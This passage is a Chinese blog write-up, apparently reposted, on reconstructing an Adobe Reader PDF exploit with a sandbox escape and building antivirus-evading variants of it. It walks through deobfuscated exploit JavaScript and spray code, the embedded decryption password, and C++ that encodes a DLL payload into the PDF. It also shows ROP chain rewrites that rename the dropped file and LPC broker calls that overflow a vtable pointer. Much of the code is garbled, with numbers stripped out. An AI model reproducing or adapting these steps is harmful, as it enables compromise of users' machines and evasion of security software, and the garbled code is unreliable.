functionTrigger(fakePointor){AllocateDefectiveNodes(fakePointor);varnode=xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui");
当大部分函数、变量名称被修正完毕之后,再在一些功能重要的函数里面加上try……catch语句来方便后面的功能调试,这里的目的是重构一份清晰可观的攻击样本来方便学习(如下).
try{//异常保护功能块}catch(e){assert(false,'ClearCachefunctionexcept!');//异常提示}
接下来就要考验程序员的调试功底了,慢慢调试为什么漏洞不触发吧;调试没有什么经验和技巧可讲,我用的最笨的办法:调试+对比;调试一下自己编写的样本,弹个提示框什么的消息,如果功能不对,对比一下混淆还原后的js代码,看看是不是什么地方更改错了,之后继续调试;实在找不到错误原因的就用WinDBG调试原样本吧.有时候可能调试几天都没有结果,比如下面这段代码(计算AcroForm.API的基址需要用到),调试了几天才得到正确结果;请通过对比找到这句代码(如下).
thunk=GetUnescapeString("%__u0ff0%__u7ffe%__u0ff0%__u7ffe%__u0ff0%__u7ffe%__u0ff0%__u7ffe");while(thunk.length&0x10000){thunk+=}//该段代码是样本利用成功的第一步,请根据资料、调试器、样本慢慢调试吧.
到这一步基本上就能成功利用了;这里有点小问题,为什么装载D.T后不触发沙盒逃离漏洞?找下资料、分析一下,看下是什么原因导致这一步失败的.网络资料CVE--FurtherInvestigationintoanAdobePDF0dayMalwareAttack中提到L2P.T是经过加密储存的,解密需要密码(!H2bYm.Sw@),现在回过头来看下PDF样本中是不是还缺少点什么数据,用PdfStream打开工具攻击样本,发现其中一个对象正是这个密码,而装载D.T后CPU使用率高达%50,是不是在进行死循环搜索这段密码?用IDA打开D.T文件可以发现如下这段搜索密码的汇编代码,对象的这段数据(如下).
偏移对象二进制数据字符串
E537740.................!H2bYm.Sw@...............//汇编代码.text:100020BFcallGetFileSize.................................................................................text:100020FFcallReadF读取文件到内存缓冲区.text:push0Ah;str_size.text:"!H2bYm.Sw@"密码字符串.text:1000210Cfile_size.text:1000210Dpush[ebp+file_data];file_data.text:搜索密码.text:movedi,eax.text:testedi,edi.text:jnzshortsearch_pass_是否成功搜索到密码?.text:1000211Bpush[ebp+file_data].text:1000211Ecallsub_10002FA0.text:popecx.text:.text:loc_:;CODEXREF:sub_100020AF+1Bj好像这段代码存在漏洞,当搜索不到的时候要根据文件句柄一直要搜索N次?.text:addebx,4;.text:cmpebx,offset__ImageB判断是否搜索结束,以模块加载基址为结束条件.text:1000212Djbshortloop_search_循环搜索密码.text:1000212Fjmploc_100021CE//搜索成功以后,异或解密对象数据,对象数据里面存放了解密KEY和要解密的数据..text:callFakeRtlDecompressB解密文件数据...............................................................................................text:pushoffsetBlpBuffer.text:push104h;nBufferLength.text:1000217AcallGetTempPathW;获取临时文件夹路径.text:pushoffsetaL2p_t;"L2P.T".text:pushoffsetBuffer.text:1000218Acallsub_;链接字符串...............................................................................................text:pushoffsetBlpFileName.text:callCreateFileW;创建L2P.T
经过分析验证和后面的拷贝尝试,发现创建L2P.T动态库失败的原因就是没有上面的对象数据,上面的对象数据是被加密的L2P.T数据,由D.T搜索、解密并且创建;现在把上面的对象数据拷贝到PDF文件里面去,我写了一段代码拷贝,拷贝之运行PDF成功攻击系统,构造的样本行为和原样本一模一样(构造好的攻击样本为附件中的exploit_my_org.pdf,如下).
#include&iostream&#include&fstream&intmain(intargc,char*argv[]){char*buffer=ifstreaminfile("src.pdf",ifstream::binary);infile.seekg(0,ios::end);intlength=infile.tellg();infile.seekg(0,ios::beg);buffer=newchar[length+sizeof(char)];infile.read(buffer,length);infile.close();ofstreamoutfile("dst.pdf",ofstream::app|ofstream::binary);outfile.seekp(0,ofstream::end);outfile.write(buffer,length);outfile.close();delete[]return0;}
六、样本变种
接着上面还原的攻击样本接下来开始构建样本的变种;关于变种的定义:改变程序行为的某些特征来躲避杀毒软件或者增加一些新的功能.首先要做的就是替换掉D.T动态库,这个应该是以数据形式存放在pdf文档中的;需要在pdf文档中找到这段数据,根据上面不断的调试分析以及拥有的资料,函数CryptStringToBinaryA和RtlDecompressBuffer上下断点,即可找到这段数据并替换,首先调用了CryptStringToBinaryA函数解用base64编码过的数据,然后再解压缩数据为可执行(如下).
CallCryptStringToBinaryA(调用堆栈):C8E1049AcroForm.6C8E104984D7F8ASCII"DbkATVqQAAMAAACCBAAw//"...000000000001【】DbkATVqQAAMAAACC【FBAAw//CallRtlDecompressBuffer(之后):D5AFFFF0000MZ?........为PE标志头.Js中被加密过的数据.functionGetDLLByteData(){varsCRIVON='';sCRIVON=sCRIVON+ue(0x416B6244)+ue(0x)+ue(0x414D4141)+ue(0x)+ue(0x)....
这段数据是以大端方式储存的,在js程序中是以4字节为一个单位,js中最末尾字节在内存中为第一字节;例如44626B41应该为0x416B6244.接下来分析清楚了数据存放格式之后写段代码或者脚本,生成一个编码压缩过的DLL(如下).
…………………………………………………………………………………….
一些文件操作和内存分配
…………………………………………………………………………………….
先压缩再编码数据
HMODULEhModule=LoadLibraryA("ntdll.dll");ULONGfinal_size=base64_buf_*(unsignedlong*)&FakeRtlCompressBuffer=(unsignedlong)GetProcAddress(hModule,"RtlCompressBuffer");FakeRtlCompressBuffer(COMPRESSION_FORMAT_LZNT1|COMPRESSION_ENGINE_STANDARD,(PUCHAR)buffer,length,(PUCHAR)compress_buf,base64_buf_len,512,&final_size,(PVOID)work_compress_buf);char*base64_buf=newchar[base64_buf_len];hModule=LoadLibraryA("Crypt32.dll");*(unsignedlong*)&FakeCryptBinaryToStringA=(unsignedlong)GetProcAddress(hModule,"CryptBinaryToStringA");FakeCryptBinaryToStringA(compress_buf,final_size,CRYPT_STRING_BASE64,base64_buf,&base64_buf_len);
…………………………………………………………………………………….
创建新js文件和函数头,此处为函数头和尾部字符串.
char*func_header="functionGetBypassDll(){\r\n\tvarresult='';\r\n";char*func_tailer="\\r\n}\r\n";.................................................................................................For根据base64编码的长度循环生成js代码{_snprintf(buffer,MAX_PATH,"ue(0x%02X%02X%02X%02X)",base64_buf[i+3]==0?0:base64_buf[i+3],base64_buf[i+2]==0?0:base64_buf[i+2],base64_buf[i+1]==0?0:base64_buf[i+1],base64_buf[i]==0?0:base64_buf[i]);outfile.write(buffer,strlen(buffer));}以十六进制形式大端存放数据,以4字节为一个单位,第4字节为第1位,第3字节为第2位,以便在内存中正确显示数据..................................................................................................
然后把生成的函数拷贝进样本文件,并且备份样本文件之后运行PDF样本文件,能够正确创建D.T文件并加载进内存.现在来改写D.T名称,因为这个名称已经被安全软件封锁了.在js代码中函数可以找到一段ROP链数据(如下).
r+=ue(t+7*7*3*2*7*311+);r+=ue(0x542E44);r+=ue(t+3*103*3*2*881*3);r+=ue(t+3*5*373*13*7*11);
这段ROP链的汇编代码执行流程(如下):
popecx/Ret;//现在ESP已经指向自己,POPECX是弹出堆栈的下一条数据到ecx寄存器,下一条数据为字符串D.TD.T//需要被改写的字符串.mov[eax],ecx/ret;//这里是构造的沙盒临时文件夹末尾.xoreax,eax/ret;//清零eax寄存器
把上面的js代码改写为下面的js代码,即可实现名称变种,这里的名称为escape.dl.
r+=ue(t+7*7*3*2*7*311+);//弹出字符串到ecx寄存器r+=ue(0x637365);//字符串,不要写0x0000这样的结束,以免解码PE数据的时候搜索失败,数据头是ROP链末尾的字符串.r+=ue(t+3*103*3*2*881*3);//放入ecx寄存器的内容到eax指向的路径内存.r+=ue(t+);//inceax,eax指向下一个地址.r+=ue(t+);//inceax,eax指向下一个地址.r+=ue(t+);//inceax,eax指向下一个地址.r+=ue(t+7*7*3*2*7*311+);//弹出字符串到ecx寄存器r+=ue(0x657061);r+=ue(t+3*103*3*2*881*3);//放入ecx寄存器的内容到eax指向的路径内存.r+=ue(t+);//inceax,eax指向下一个地址.r+=ue(t+);//inceax,eax指向下一个地址.r+=ue(t+);//inceax,eax指向下一个地址.r+=ue(t+7*7*3*2*7*311+);//弹出字符串到ecx寄存器r+=ue(0x6C642E);r+=ue(t+3*103*3*2*881*3);//放入ecx寄存器的内容到eax指向的路径内存.r+=ue(t+3*5*373*13*7*11);//清零eax寄存器
这样改写掉js中的ROP链的数据后,能够正确创建escape.dl,但是文件的大小为0字节,看下什么原因.经过分析,发现ROP链中存在一些绝对的数据存放地址偏移,也就是说ROP链中既有代码地址也有自己的堆栈,用来临时存放数据,这里在ROP链中间增加了一些数据地址,因此这个偏移地址发生变化,需要修正这个大小,上面增加的数据有0×30字节,原样本是10进制数据,这里改写为了16进制数据方便阅读.临时堆栈(如下).
r+=ue(0x);//5f4//对应当前ESP指针加偏移地址,此处CCCC会被清零.r+=ue(0xCCCC05F4+0x30);r+=ue(0x);//5EC//r+=ue(0xCCCC05EC+0x30);r+=ue(0x);//5F8//r+=ue(0xCCCC05F8+0x30);r+=ue(0x);//5FC//r+=ue(0xCCCC05FC+0x30);r+=ue(0x);//600//r+=ue(0xCCCC);r+=ue(0x);//614//r+=ue(0xCCCC);
在ROP链末尾有一段数据是用来标识被编码压缩的PE头,以便漏洞触发之后能够使用wcsstr函数正确搜索到数据解压缩为PE文件数据(如下).
r+=ue(0x1010101);r+=ue(0x6F004D);//这里就是PE数据标识开始,对应的字符串为UNICODE版本的Module函数.r+=ue(0x750064);r+=ue(0x65006C);...............................................................PE数据
现在这样改写并且经过正确调试以后,运行样本PDF文件,成功加载了编写的测试动态库escape.dl.现在看下如何触发沙盒漏洞,在这里根据构造成功的沙箱逃离dll来重新讲解说明一下沙箱漏洞的触发过程.exploit开始挂起其他所有线程,并且获取adobe版本号来实现不同版本相同的操作,后构建tagid为0×18的LPCCall初始化调用,之后调用RegisterClipboardW函数注册ROP_shellcode存放的地址,然后分别构建了LPCCalltagid为0x4d、0x4b、0×59、0x5d、0×61、0x4a、0x4a的LPCCall让中间进程(broker进程)调用,大部分为网络操作,比如检查一些域名是否可访问什么的,其中tagid为0x5D的调用为在中间进程布局大小为0x0C800000大小的ROP_shellcode,并占位了中间进程的LPCBuffer.之后调用tagid为0×73的调用,中间进程调用GetClipboardFormatNameW函数读取使用RegisterClipboardW注册的数据,这里溢出了虚表指针,最后构建tagid为0xB0的调用来触发中间进程的LPCDispatcher来触发被溢出的指针;通信需要的LPC指针函数,在写完攻击流程代码之后发现代码一直不通过,原来是粗心的写错了一个地址,导致浪费了N天的时间(如下).
unsignedlong(__thiscall*LPCCall::GetLpcBuffer)(void);unsignedlong(__thiscall*LPCCall::WaitLpcComplete)(unsignedlong,unsignedlong,unsignedlong);unsignedlong(__thiscall*LPCCall::GetLpcCallBuffer)(unsignedlong);unsignedlong(__thiscall*LPCCall::LpcComplete)(unsignedlong,unsignedlong);unsignedlong(__thiscall*LPCCall::dword_)(unsignedlong,unsignedlong);//base://05C4CAcroRd32.00161E10//05C4CAcroRd32.//05C4CAcroRd32.00161ED0//05C4C01CAcroRd32.//05C4CAcroRd32.00161EB0//callorder:61EB0,0622C0,boolLPCCall::InitLpcCallProcAddress(){unsignedlongh_module=(unsignedlong)GetModuleHandleW(L"AcroRd32.exe");(*(unsignedint*)&GetLpcBuffer=(unsignedint)(0xx)+h_module);(*(unsignedint*)&WaitLpcComplete=(unsignedint)(0x-0x)+h_module);(*(unsignedint*)&GetLpcCallBuffer=(unsignedint)(0x0x)+h_module);(*(unsignedint*)&LpcComplete=(unsignedint)(0x-0x)+h_module);(*(unsignedint*)&dword_=(unsignedint)(0x0x)+h_module);boolresult_a=(GetLpcBuffer!=nullptr&&WaitLpcComplete!=nullptr);boolresult_b=(GetLpcCallBuffer!=nullptr&&LpcComplete!=nullptr);return(result_a&&result_b&&dword_!=nullptr);}
初始化调用,注意在调用RegisterClipboardW函数的时候参数末尾的结束符\x0000(如下).
LPCCall::InitLpcCallProcAddress();//初始化LPC指针函数void*temp_mem=Alloc(8,0x80000);//占位内存.unsignedlongipc_call_info[0x20000]={0xxxxxxxxxxxxxxxxxxxxFFFFFFFF,0xxFFFFFFFF,0x1AB0FB98,0x};for(unsignedlong*p_index=&ipc_call_info[0];;p_index++){if(*p_index==0x1AB0FB98){*p_index=(unsignedlong)(&buffer[0]);//替换掉动态地址.}}LPCCall::LPCSendBuffer(&ipc_call_info);result_clipboard_=RegisterClipboard();//注意参数的结束符,不然会调用函数失败.char*p_shellcode=(char*)AllocHeapShellcode(0xC800000);//分配shellcode内存代码,这里使用了clbcatq模块中的指针进行搜索.以便构建成功触发的shellcode.
分别调用LPCCalltagid为0x4d、0x4b、0×59、0x5d、0×61、0x4a、0x4a的API,按顺序调用,节省篇幅,此处省略(如下).
..............................................................................................LPCCall::LPCSendBuffer(&ipc_call_info_d);unsignedlongipc_call_info_e[0x20000]={0xxxxxxxxxxxxxxxxxxxxxxxxxxFFFFFFFF,0xxFFFFFFFF,0x00CC000C,0x,0x1B2CC800000};for(unsignedlong*p_index=&ipc_call_info_e[0];*p_index!=0x0C800000;p_index++){if(*p_index==0x){*p_index=GetCurrentProcessId();//替换掉通信进程id为当前的进程Id.}if(*p_index==0x1B2C0028){*p_index=(unsignedlong)p_//替换掉shellcode地址以便中间进程读取;后一位数据是ROP大小}}LPCCall::LPCSendBuffer(&ipc_call_info_e);
最后溢出指针,并且触发漏洞(如下).
Free((unsignedint)p_shellcode);for(intindex=1;index&=0x3E8;index++){IPCCallFunc1(index);}IPCCallFunc1(0x3E9);IPCCallFunc1(0x3EA);IPCCallFunc1(0x3EB);IPCCallFunc2();IPCCallFunc3(result_clipboard_);//参数为RegisterClipboardW返回值,以便中间进程进行监控.IPCCallFunc4();//让中间进程继续Dispatcher来触发漏洞Free((unsignedint)temp_mem);
八、总结经验
文章结尾总结一下心得;分析、还原、构造这个样本差不多用了半个月的时间,在这期间也学到了很多东西;第一:一定要坚持下去,因为坚持就是胜利,期间很多次觉得自己搞不出来想放弃,……第二:一定要有耐心,有了足够的耐心之后才能坚持下去.第三:要学会懂得做事方法、思路以及资料的寻找,并且要能看懂一些英文文档.第四:拥有一颗非常细的心,避免在一些问题上因为粗心浪费掉时间.第五:技术功底一定要拥有,有了良好的技术功底才能正确的进行技术研究.最后,祝你好运(图片与本文无关)!
本文web安全相关术语:黑盒测试方法 黑盒测试和白盒测试 网站安全检测 360网站安全检测 网络安全知识 网络安全技术 网络信息安全 网络安全工程师
转载请注明本文标题:本站链接:
分享请点击:
1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
你不用很厉害之后才开始,但开始后一定要变得很厉害!
手机客户端
,专注代码审计及安全周边编程,转载请注明出处:http://www.codesec.net
转载文章如有侵权,请邮件 admin[at]codesec.net

我要回帖

更多关于 口袋妖怪复刻bug 技巧 的文章

 

随机推荐